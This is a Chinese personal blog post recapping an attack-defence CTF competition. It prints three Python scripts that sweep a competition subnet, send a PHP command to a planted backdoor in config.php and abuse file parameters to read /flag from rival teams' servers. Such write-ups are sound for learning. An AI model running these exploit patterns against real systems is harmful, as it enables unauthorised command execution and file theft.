Ywc's blog

易霖博杯 赛后总结

Word count: 513Reading time: 2 min
2018/09/16

前言

tcl,太菜了,不过收获挺多orz…

总结

一天的时间,上午AWD,下午渗透,没pwn,pwn手划水的一天。。。

上午AWD,带着两学弟,算是完整意义上我主场了,虽然赛前准备了很多,但是还是手忙脚乱。

本来想配路由表实现内外网同时上网的,但是配了一次失败,就没再继续下去….(手机信号被屏蔽差点没网)

然后就是备份,一开始备份了根目录下所有文件-。-,直接备份题目就好,一般在/var/www/html 目录下

然后应该上D盾或者seay源码审计系统审计发现后门后修改相关源码,我一时脑抽,手动审计了半天233333

然后使用nmap扫描其他队伍的ip,正常扫D段结果扫不出来emmm 后来手动试了下c段 才知道 好坑…

后来还好,写出了exp,最后半小时打全场….下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

for i in range(101, 160):
try:

res = requests.post('http://172.20.' + str(i) + '.101/config/config.php',
data={'cmd': "echo file_get_contents('/flag');"})
if res.status_code == 200:
print('172.20.' + str(i) + '.101')
# print(len(res.text))
print(res.text)
except Exception as e:
print(e)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

for i in range(101, 255):
try:

res = requests.get('http://172.20.' + str(i) +
'.101/?c=index&a=show_pic&file=/flag')
if res.status_code == 200:
if (len(res.text) < 100):
print('172.20.' + str(i) + '.101')
# print(len(res.text))
print(res.content)
except Exception as e:
print(e)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

for i in range(101, 255):
try:

res = requests.get('http://172.20.' + str(i) +
'.102/WEB/pages/iteminfo/doinserin.php?action=delete&usr_id=/flag')
if res.status_code == 200:
if (len(res.text) > 0):
print('172.20.' + str(i) + '.102')
# print(len(res.text))
print(res.content)
except Exception as e:
print(e)

然后下午渗透emmm 就找到了简单的几个flag,然后还有一个内网的题目没进去,需要外网做跳板不知道是什么操作emmmm(后来才知道需要先把外网getshell…Orz)

msf还不熟练,tcl,要学习…

CATALOG
  1. 1. 前言
  2. 2. 总结